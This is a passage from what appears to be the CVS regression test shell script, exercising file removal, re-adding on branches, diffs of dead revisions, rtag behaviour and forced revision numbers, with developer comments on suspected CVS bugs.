pass 90\n\t\telse\n\t\t fail 90\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >>${LOGFILE}; then\n\t\t pass 91\n\t\telse\n\t\t fail 91\n\t\tfi\n\n\t\tif test -f file1 ; then\n\t\t fail 92\n\t\telse\n\t\t pass 92\n\t\tfi\n\n\t\t# typo; try to get to the branch and fail\n\t\tdotest_fail 92.1a \"${testcvs} update -r brnach1\" \\\n\t\t \"${PROG}\"' \\[update aborted\\]: no such tag brnach1'\n\t\t# Make sure we are still on the trunk\n\t\tif test -f file1 ; then\n\t\t fail 92.1b\n\t\telse\n\t\t pass 92.1b\n\t\tfi\n\t\tif test -f file3 ; then\n\t\t pass 92.1c\n\t\telse\n\t\t fail 92.1c\n\t\tfi\n\n\t\t# back to branch1\n\t\tif ${CVS} update -r branch1 2>> ${LOGFILE}; then\n\t\t pass 93\n\t\telse\n\t\t fail 93\n\t\tfi\n\n\t\tdotest_fail death-file4-6 \"test -f file4\" ''\n\n\t\tif test -f file1 ; then\n\t\t pass 94\n\t\telse\n\t\t fail 94\n\t\tfi\n\n\t\t# and join\n\t\tdotest 95 \"$testcvs -q update -j HEAD\" \\\n\"$PROG update: file file1 has been removed in revision HEAD, but the destination is incompatibly modified\nC file1\n$PROG update: file file3 exists, but has been added in revision HEAD\"\n\n\t\tdotest_fail death-file4-7 \"test -f file4\" ''\n\n\t\t# file2 should not have been recreated. It was\n\t\t# deleted on the branch, and has not been modified on\n\t\t# the trunk. That means that there have been no\n\t\t# changes between the greatest common ancestor (the\n\t\t# trunk version) and HEAD.\n\t\tdotest_fail death-file2-1 \"test -f file2\" ''\n\n\t\tcd .. ; rm -rf first-dir ${CVSROOT_DIRNAME}/first-dir\n\t\t;;\n\n\tdeath2)\n\t # More tests of death support.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest death2-1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\n\t # Add two files on the trunk.\n\t echo \"first revision\" > file1\n\t echo \"file4 first revision\" > file4\n\t dotest death2-2 \"${testcvs} add file1 file4\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file4'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\n\t dotest death2-3 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\ninitial revision: 1\\.1\ndone\"\n\n\t # Make a branch and a non-branch tag.\n\t dotest death2-4 \"${testcvs} -q tag -b branch\" \\\n'T file1\nT file4'\n\t dotest death2-5 \"${testcvs} -q tag tag\" \\\n'T file1\nT file4'\n\n\t # Switch over to the branch.\n\t dotest death2-6 \"$testcvs -q update -r branch\" \\\n'[UP] file1\n[UP] file4'\n\n\t # Delete the file on the branch.\n\t rm file1\n\t dotest death2-7 \"${testcvs} rm file1\" \\\n\"${PROG} remove: scheduling .file1. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\n\t # Test diff of the removed file before it is committed.\n\t dotest_fail death2-diff-1 \"${testcvs} -q diff file1\" \\\n\"${PROG} diff: file1 was removed, no comparison available\"\n\n\t dotest_fail death2-diff-2 \"${testcvs} -q diff -N -c file1\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* file1\t${RFCDATE}\t[0-9.]*\n--- /dev/null\t${RFCDATE_EPOCH}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- first revision\n--- 0 ----\"\n\n\t dotest death2-8 \"${testcvs} -q ci -m removed\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Test diff of a dead file.\n\t dotest_fail death2-diff-3 \\\n\"${testcvs} -q diff -r1.1 -rbranch -c file1\" \\\n\"${PROG} diff: Tag branch refers to a dead (removed) revision in file .file1.\\.\n${PROG} diff: No comparison available\\. Pass .-N. to .${PROG} diff.${QUESTION}\"\n\t # and in reverse\n\t dotest_fail death2-diff-3a \\\n\"${testcvs} -q diff -rbranch -r1.1 -c file1\" \\\n\"${PROG} diff: Tag branch refers to a dead (removed) revision in file .file1.\\.\n${PROG} diff: No comparison available\\. Pass .-N. to .${PROG} diff.${QUESTION}\"\n\n\t dotest_fail death2-diff-4 \\\n\"${testcvs} -q diff -r1.1 -rbranch -N -c file1\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* file1\t${RFCDATE}\t[0-9.]*\n--- /dev/null\t${RFCDATE_EPOCH}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- first revision\n--- 0 ----\"\n\t # and in reverse\n\t dotest_fail death2-diff-4a \\\n\"${testcvs} -q diff -rbranch -r1.1 -N -c file1\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file1\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n+ first revision\"\n\n\n\t dotest_fail death2-diff-5 \"${testcvs} -q diff -rtag -c .\" \\\n\"${PROG} diff: file1 no longer exists, no comparison available\"\n\n\t dotest_fail death2-diff-6 \"${testcvs} -q diff -rtag -N -c .\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* file1\t[-a-zA-Z0-9: ]*\t[0-9.]*\n--- /dev/null\t${RFCDATE_EPOCH}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- first revision\n--- 0 ----\"\n\n\t # Test rdiff of a dead file.\n\t dotest death2-rdiff-1 \\\n\"${testcvs} -q rtag -rbranch rdiff-tag first-dir\" ''\n\n\t dotest death2-rdiff-2 \"${testcvs} -q rdiff -rtag -rbranch first-dir\" \\\n\"Index: first-dir/file1\ndiff -c first-dir/file1:1\\.1 first-dir/file1:removed\n\\*\\*\\* first-dir/file1:1\\.1\t[a-zA-Z0-9: ]*\n--- first-dir/file1\t[a-zA-Z0-9: ]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- first revision\n--- 0 ----\"\n\n\t # Readd the file to the branch.\n\t echo \"second revision\" > file1\n\t dotest death2-9 \"${testcvs} add file1\" \\\n\"${PROG}\"' add: file `file1'\\'' will be added on branch `branch'\\'' from version 1\\.1\\.2\\.1\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t # Test diff of the added file before it is committed.\n\t dotest_fail death2-diff-7 \"${testcvs} -q diff file1\" \\\n\"${PROG} diff: file1 is a new entry, no comparison available\"\n\n\t dotest_fail death2-diff-8 \"${testcvs} -q diff -N -c file1\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file1\t${RFCDATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} second revision\"\n\n\t dotest death2-10 \"${testcvs} -q commit -m add\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # Delete file4 from the branch\n\t dotest death2-10a \"${testcvs} rm -f file4\" \\\n\"${PROG} remove: scheduling .file4. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest death2-10b \"${testcvs} -q ci -m removed\" \\\n\"Removing file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Back to the trunk.\n\t dotest death2-11 \"${testcvs} -q update -A\" \\\n\"[UP] file1\nU file4\"\n\n\t # Add another file on the trunk.\n\t echo \"first revision\" > file2\n\t dotest death2-12 \"${testcvs} add file2\" \\\n\"${PROG}\"' add: scheduling file `file2'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest death2-13 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t # Modify file4 on the trunk.\n\t echo \"new file4 revision\" > file4\n\t dotest death2-13a \"${testcvs} -q commit -m mod\" \\\n\"Checking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Back to the branch.\n\t # The ``no longer in the repository'' message doesn't really\n\t # look right to me, but that's what CVS currently prints for\n\t # this case.\n\t dotest death2-14 \"${testcvs} -q update -r branch\" \\\n\"[UP] file1\n${PROG} update: file2 is no longer in the repository\n${PROG} update: file4 is no longer in the repository\"\n\n\t # Add a file on the branch with the same name.\n\t echo \"branch revision\" > file2\n\t dotest death2-15 \"${testcvs} add file2\" \\\n\"${PROG}\"' add: scheduling file `file2'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest death2-16 \"${testcvs} -q commit -m add\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # Add a new file on the branch.\n\t echo \"first revision\" > file3\n\t dotest death2-17 \"${testcvs} add file3\" \\\n\"${PROG}\"' add: scheduling file `file3'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest death2-18 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Test diff of a nonexistent tag\n\t dotest_fail death2-diff-9 \"${testcvs} -q diff -rtag -c file3\" \\\n\"${PROG} diff: tag tag is not in file file3\"\n\n\t dotest_fail death2-diff-10 \"${testcvs} -q diff -rtag -N -c file3\" \\\n\"Index: file3\n===================================================================\nRCS file: file3\ndiff -N file3\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file3\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} first revision\"\n\n\t dotest_fail death2-diff-11 \"${testcvs} -q diff -rtag -c .\" \\\n\"Index: file1\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\ndiff -c -r1\\.1 -r1\\.1\\.2\\.2\n\\*\\*\\* file1\t${RFCDATE}\t[0-9.]*\n--- file1\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n! first revision\n--- 1 ----\n! second revision\n${PROG} diff: tag tag is not in file file2\n${PROG} diff: tag tag is not in file file3\n${PROG} diff: file4 no longer exists, no comparison available\"\n\n\t dotest_fail death2-diff-12 \"${testcvs} -q diff -rtag -c -N .\" \\\n\"Index: file1\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\ndiff -c -r1\\.1 -r1\\.1\\.2\\.2\n\\*\\*\\* file1\t${RFCDATE}\t[0-9.]*\n--- file1\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n! first revision\n--- 1 ----\n! second revision\nIndex: file2\n===================================================================\nRCS file: file2\ndiff -N file2\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file2\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} branch revision\nIndex: file3\n===================================================================\nRCS file: file3\ndiff -N file3\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file3\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} first revision\nIndex: file4\n===================================================================\nRCS file: file4\ndiff -N file4\n\\*\\*\\* file4\t${RFCDATE}\t[0-9.]*\n--- /dev/null\t${RFCDATE_EPOCH}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- file4 first revision\n--- 0 ----\"\n\n\t # Switch to the nonbranch tag.\n\t dotest death2-19 \"${testcvs} -q update -r tag\" \\\n\"[UP] file1\n${PROG} update: file2 is no longer in the repository\n${PROG} update: file3 is no longer in the repository\nU file4\"\n\n\t dotest_fail death2-20 \"test -f file2\"\n\n\t # Make sure diff only reports appropriate files.\n\t dotest_fail death2-diff-13 \"${testcvs} -q diff -r rdiff-tag\" \\\n\"${PROG} diff: Tag rdiff-tag refers to a dead (removed) revision in file .file1.\\.\n${PROG} diff: No comparison available\\. Pass .-N. to .${PROG} diff.${QUESTION}\"\n\n\t dotest_fail death2-diff-14 \"${testcvs} -q diff -r rdiff-tag -c -N\" \\\n\"Index: file1\n===================================================================\nRCS file: file1\ndiff -N file1\n\\*\\*\\* /dev/null\t${RFCDATE_EPOCH}\n--- file1\t${RFCDATE}\t[0-9.]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} first revision\"\n\n\t # now back to the trunk\n\t dotest death2-21 \"$testcvs -q update -A\" \\\n'[UP] file1\nU file2\nU file4'\n\n\t # test merging with a dead file\n\t dotest death2-22 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\nU first-dir/file4\"\n\n\t cd first-dir\n\t dotest death2-23 \"${testcvs} rm -f file4\" \\\n\"${PROG} remove: scheduling .file4. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest death2-24 \"${testcvs} -q ci -m removed file4\" \\\n\"Removing file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.2\ndone\"\n\t cd ..\n\t echo \"new stuff\" >file4\n\t dotest_fail death2-25 \"${testcvs} up file4\" \\\n\"${PROG} update: conflict: file4 is modified but no longer in the repository\nC file4\"\n\n\t cd .. ; rm -rf first-dir ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\n\n\tdeath-rtag)\n\t # This documents a bug in CVS that prevents rtag from tagging files\n\t # in the Attic.\n\t mkdir $CVSROOT_DIRNAME/death-rtag\n\t dotest death-rtag-init-1 \"$testcvs -Q co death-rtag\"\n\t cd death-rtag\n\t echo \"This is the file foo\" > foo\n\t echo \"This is the file bar\" > bar\n\t dotest death-rtag-init-2 \"$testcvs -Q add foo bar\"\n\t dotest death-rtag-init-3 \"$testcvs -Q ci -m 'Add foo and bar.'\" \\\n\"RCS file: $CVSROOT_DIRNAME/death-rtag/bar,v\ndone\nChecking in bar;\n$CVSROOT_DIRNAME/death-rtag/bar,v <-- bar\ninitial revision: 1\\.[0-9]*\ndone\nRCS file: $CVSROOT_DIRNAME/death-rtag/foo,v\ndone\nChecking in foo;\n$CVSROOT_DIRNAME/death-rtag/foo,v <-- foo\ninitial revision: 1\\.[0-9]*\ndone\"\n\t dotest death-rtag-init-5 \"$testcvs -Q tag -b mybranch\"\n\n\t dotest death-rtag-1 \"$testcvs -q rtag -rmybranch willtag death-rtag\"\n\t dotest death-rtag-2 \"$testcvs -Q rm -f foo\"\n\t dotest death-rtag-3 \"$testcvs -Q ci -m 'Remove foo.'\" \\\n\"Removing foo;\n$CVSROOT_DIRNAME/death-rtag/foo,v <-- foo\nnew revision: delete; previous revision: 1\\.[0-9]*\ndone\"\n\t # commit something on the branch so that the moving tag is visible.\n\t dotest death-rtag-3.2 \"$testcvs -Q up -rmybranch\"\n\t echo some branch content >>foo\n\t echo some branch content >>bar\n\t dotest death-rtag-3.3 \"$testcvs -Q ci -m 'Change foo.'\" \\\n\"Checking in bar;\n$CVSROOT_DIRNAME/death-rtag/bar,v <-- bar\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in foo;\n$CVSROOT_DIRNAME/death-rtag/Attic/foo,v <-- foo\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest death-rtag-3.4 \\\n\"$testcvs -q rtag -rmybranch wontmove death-rtag\"\n\t dotest death-rtag-3.5 \"$testcvs -q rtag -F wontmove death-rtag\"\n\n\t cd ..\n\t # Removing -f below avoids this bug.\n\t dotest death-rtag-4 \"$testcvs -q rtag -frmybranch wonttag death-rtag\"\n\n\t # When the bug existed, `wonttag' would not have been present in\n\t # foo,v.\n\t #\n\t # A second bug prevented `wontmove' from moving from the branch to\n\t # the dead revision on the trunk (death-rtag-3.4 & death-rtag-3.5).\n\t dotest death-rtag-5 \"$testcvs -q rlog death-rtag\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/death-rtag/bar,v\nhead: 1.[0-9]*\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\twonttag: 1\\.1\\.2\\.1\n\twontmove: 1\\.1\n\twilltag: 1\\.1\n\tmybranch: 1\\.1.0\\.2\nkeyword substitution: kv\n$DOTSTAR\nRCS file: $CVSROOT_DIRNAME/death-rtag/Attic/foo,v\nhead: 1.[0-9]*\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\twonttag: 1\\.1\\.2\\.1\n\twontmove: 1\\.2\n\twilltag: 1\\.1\n\tmybranch: 1\\.1.0\\.2\nkeyword substitution: kv\n$DOTSTAR\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r death-rtag\n\t rm -rf $CVSROOT_DIRNAME/death-rtag\n\t ;;\n\n\n\n\trm-update-message)\n\t # FIXME\n\t # local CVS prints a warning message when update notices a missing\n\t # file and client/server CVS doesn't. These should be identical.\n\t mkdir rm-update-message; cd rm-update-message\n\t mkdir $CVSROOT_DIRNAME/rm-update-message\n\t dotest rm-update-message-setup-1 \"$testcvs -q co rm-update-message\" ''\n\t cd rm-update-message\n\t file=x\n\t echo >$file\n\t dotest rm-update-message-setup-2 \"$testcvs -q add $file\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rm-update-message-setup-3 \"$testcvs -q ci -mcreate $file\" \\\n\"RCS file: $CVSROOT_DIRNAME/rm-update-message/$file,v\ndone\nChecking in $file;\n$CVSROOT_DIRNAME/rm-update-message/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t rm $file\n\t dotest rm-update-message-1 \"$testcvs up $file\" \\\n\"${PROG} update: warning: $file was lost\nU $file\"\n\n\t cd ../..\n\t if $keep; then :; else\n\t rm -rf rm-update-message\n\t rm -rf $CVSROOT_DIRNAME/rm-update-message\n\t fi\n\t ;;\n\n\trmadd)\n\t # More tests of adding and removing files.\n\t # In particular ci -r.\n\t # Other ci -r tests:\n\t # * editor-9: checking in a modified file,\n\t # where \"ci -r\" means a branch.\n\t # * basica-8a1: checking in a modified file with numeric revision.\n\t # * basica-8a2: likewise.\n\t # * keywordlog-4: adding a new file with numeric revision.\n\t mkdir 1; cd 1\n\t dotest rmadd-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest rmadd-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo first file1 >file1\n\t dotest rmadd-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t dotest_fail rmadd-4 \"${testcvs} -q ci -r 1.2.2.4 -m add\" \\\n\"${PROG} commit: cannot add file .file1' with revision .1\\.2\\.2\\.4'; must be on trunk\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\t dotest_fail rmadd-5 \"${testcvs} -q ci -r 1.2.2 -m add\" \\\n\"${PROG} commit: cannot add file .file1' with revision .1\\.2\\.2'; must be on trunk\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\t dotest_fail rmadd-6 \"${testcvs} -q ci -r mybranch -m add\" \\\n\"${PROG} \\[commit aborted\\]: no such tag mybranch\"\n\n\t # The thing with the trailing periods strikes me as a very\n\t # bizarre behavior, but it would seem to be intentional\n\t # (see commit.c). It probably could go away....\n\t dotest rmadd-7 \"${testcvs} -q ci -r 7.... -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 7\\.1\ndone\"\n\t if $remote; then\n\t # I guess remote doesn't set a sticky tag in this case.\n\t # Kind of odd, in the sense that rmadd-24a does set one\n\t # both local and remote.\n\t dotest_fail rmadd-7a \"test -f CVS/Tag\"\n\t echo T7 >CVS/Tag\n\t else\n\t dotest rmadd-7a \"cat CVS/Tag\" \"T7\"\n\t fi\n\n\t dotest rmadd-8 \"${testcvs} -q tag -b mybranch\" \"T file1\"\n\t dotest rmadd-9 \"${testcvs} -q tag mynonbranch\" \"T file1\"\n\n\t touch file2\n\t # The previous \"cvs ci -r\" set a sticky tag of '7'. Seems a\n\t # bit odd, and I guess commit.c (findmaxrev) makes '7' sticky\n\t # tags unnecessary (?). I kind of suspect that it should be\n\t # saying \"sticky tag is not a branch\" like keywordlog-4b.\n\t # Or something.\n\t dotest rmadd-10 \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition on branch .7'\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # As in the previous example, CVS is confused....\n\t dotest rmadd-11 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 7\\.1\ndone\"\n\n\t dotest rmadd-12 \"${testcvs} -q update -A\" \"\"\n\t touch file3\n\t dotest rmadd-13 \"${testcvs} add file3\" \\\n\"${PROG} add: scheduling file .file3. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # Huh? file2 is not up to date? Seems buggy to me....\n\t dotest_fail rmadd-14 \"${testcvs} -q ci -r mybranch -m add\" \\\n\"${PROG} commit: Up-to-date check failed for .file2'\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\t # Whatever, let's not let file2 distract us....\n\t dotest rmadd-15 \"${testcvs} -q ci -r mybranch -m add file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t touch file4\n\t dotest rmadd-16 \"${testcvs} add file4\" \\\n\"${PROG} add: scheduling file .file4. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # Same \"Up-to-date check\" issues as in rmadd-14.\n\t # The \"no such tag\" thing is due to the fact that we only\n\t # update val-tags when the tag is used (might be more of a\n\t # bug than a feature, I dunno).\n\t dotest_fail rmadd-17 \\\n\"${testcvs} -q ci -r mynonbranch -m add file4\" \\\n\"${PROG} \\[commit aborted\\]: no such tag mynonbranch\"\n\t # Try to make CVS write val-tags.\n\t dotest rmadd-18 \"${testcvs} -q update -p -r mynonbranch file1\" \\\n\"first file1\"\n\t # Oops, -p suppresses writing val-tags (probably a questionable\n\t # behavior).\n\t dotest_fail rmadd-19 \\\n\"${testcvs} -q ci -r mynonbranch -m add file4\" \\\n\"${PROG} \\[commit aborted\\]: no such tag mynonbranch\"\n\t # Now make CVS write val-tags for real.\n\t dotest rmadd-20 \"$testcvs -q update -r mynonbranch file1\" '[UP] file1'\n\t # Oops - CVS isn't distinguishing between a branch tag and\n\t # a non-branch tag.\n\t dotest rmadd-21 \\\n\"${testcvs} -q ci -r mynonbranch -m add file4\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/Attic/file4,v <-- file4\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # OK, we add this one in a vanilla way, but then check in\n\t # a modification with ci -r and sniff around for sticky tags.\n\t echo file5 >file5\n\t dotest rmadd-22 \"${testcvs} add file5\" \\\n\"${PROG} add: scheduling file .file5. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t if $remote; then\n\t # Interesting bug (or missing feature) here. findmaxrev\n\t # gets the major revision from the Entries. Well, remote\n\t # doesn't send the entries for files which are not involved.\n\t dotest rmadd-23r \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\ninitial revision: 1\\.1\ndone\"\n\t dotest rmadd-23-workaroundr \\\n\"${testcvs} -q ci -r 7 -m bump-it file5\" \\\n\"Checking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\nnew revision: 7\\.1; previous revision: 1\\.1\ndone\"\n\t else\n\t dotest rmadd-23 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\ninitial revision: 7\\.1\ndone\"\n\t fi\n\t echo change it >file5\n\t dotest_fail rmadd-24 \"${testcvs} -q ci -r 4.8 -m change file5\" \\\n\"Checking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\n${PROG} commit: ${CVSROOT_DIRNAME}/first-dir/file5,v: revision 4\\.8 too low; must be higher than 7\\.1\n${PROG} commit: could not check in file5\"\n\t dotest rmadd-24a \"${testcvs} -q ci -r 8.4 -m change file5\" \\\n\"Checking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\nnew revision: 8\\.4; previous revision: 7\\.1\ndone\"\n\t # I'm not really sure that a sticky tag make sense here.\n\t # It seems to be longstanding behavior for what that is worth.\n\t dotest rmadd-25 \"${testcvs} status file5\" \\\n\"===================================================================\nFile: file5 \tStatus: Up-to-date\n\n Working revision:\t8\\.4.*\n Repository revision:\t8\\.4\t${CVSROOT_DIRNAME}/first-dir/file5,v\n Sticky Tag:\t\t8\\.4\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t # now try forced revision with recursion\n\t mkdir sub\n\t dotest rmadd-26 \"${testcvs} -q add sub\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sub added to the repository\"\n\t echo hello >sub/subfile\n\t dotest rmadd-27 \"${testcvs} -q add sub/subfile\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t dotest rmadd-28 \"${testcvs} -q ci -m. sub\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sub/subfile,v\ndone\nChecking in sub/subfile;\n${CVSROOT_DIRNAME}/first-dir/sub/subfile,v <-- subfile\ninitial revision: 1\\.1\ndone\"\n\n\t # lose the branch\n\t dotest rmadd-29 \"$testcvs -q up -A\" \\\n\"[UP] file1\n$PROG update: file3 is no longer in the repository\n$PROG update: file4 is no longer in the repository\"\n\n\t # -f disables recursion\n\t dotest rmadd-30 \"${testcvs} -q ci -f -r9 -m.\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 9\\.1; previous revision: 7\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 9\\.1; previous revision: 7\\.1\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\nnew revision: 9\\.1; previous revision: 8\\.4\ndone\"\n\n\t # add -R to force recursion\n\t dotest rmadd-31 \"${testcvs} -q ci -f -r9 -R -m.\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 9\\.2; previous revision: 9\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 9\\.2; previous revision: 